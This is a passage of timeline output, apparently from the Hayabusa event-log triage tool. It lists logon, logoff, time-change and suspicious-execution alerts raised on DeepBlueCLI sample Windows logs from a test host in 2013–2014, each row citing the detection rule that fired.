localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:32.609 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xd99e : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:32.609 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xd9c6 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:32.609 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0xd99e,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:36.944 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 07:05:36.944 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 07:05:36.944 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:40.928 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\svchost.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:40.928 +09:00,IE8Win7,4624,informational,Logon Type 4 - Batch,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x144df,rules/hayabusa/default/events/Security/Logons/4624_LogonType-4-Batch.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:40.928 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x144df,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:08:00.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 07:08:00.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 07:10:10.631 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 08:11:15.779 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 08:11:15.779 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 08:11:15.779 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:29:47.517 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:30:12.392 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:30:12.392 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:32:12.657 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x144df,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:34:00.063 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: HYPERV.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:40:48.532 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0xd9c6,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:42:11.390 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:42:11.390 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:42:34.625 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:42:43.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-22 08:42:49.610 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:42:49.610 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:42:49.610 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:43:06.625 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:43:06.625 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x16559 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:43:06.625 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x16589 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:43:06.625 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x16559,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:44:23.818 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:44:23.818 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:44:23.849 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:45:01.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-22 08:45:01.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-22 09:44:32.677 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x16589,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:07:11.015 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:11.015 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:26.562 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:07:38.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-24 14:07:42.189 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:42.189 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:42.189 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:08:08.126 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:08:08.126 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2b7c0 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:08:08.126 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2b7f0 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:08:08.126 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x2b7c0,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:09:50.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-24 14:09:50.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-24 14:11:00.564 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:00.564 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:18:43.547 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:18:43.547 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:18:43.562 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 02:25:02.877 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:25:02.877 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:25:02.877 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 02:48:26.739 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:48:26.739 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:48:26.739 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 02:57:33.848 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:57:33.848 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:57:33.848 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 03:01:39.454 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:01:39.454 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:01:39.454 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 03:02:36.847 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:02:36.847 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:02:36.847 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 03:05:21.128 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:05:40.910 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: HYPERV.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 03:08:12.894 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:49:55.313 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:49:55.313 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:49:55.313 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:50:49.109 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x2b7f0,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:52:22.343 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:52:22.343 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:52:36.312 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:52:41.000 +09:00,IE8WIN7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 06:52:48.955 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:52:48.955 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:52:48.955 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:54:52.158 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:54:52.158 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xcf564 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:54:52.158 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xcf598 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:54:52.158 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0xcf564,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:55:06.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 06:55:06.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 06:57:07.814 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:23:56.107 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:23:56.107 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:23:56.575 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:26:20.278 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: HYPERV.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:35:01.091 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0xcf598,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:14.156 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:38:14.156 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:38:20.765 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:22.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:38:26.183 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:38:26.183 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:38:26.183 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:48.104 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:48.104 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x27008 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:48.104 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x27038 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:48.104 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x27008,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:40:33.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:40:33.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:48:51.643 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x27038,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:50:56.046 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:50:56.046 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:51:16.890 +09:00,IE9Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:22.000 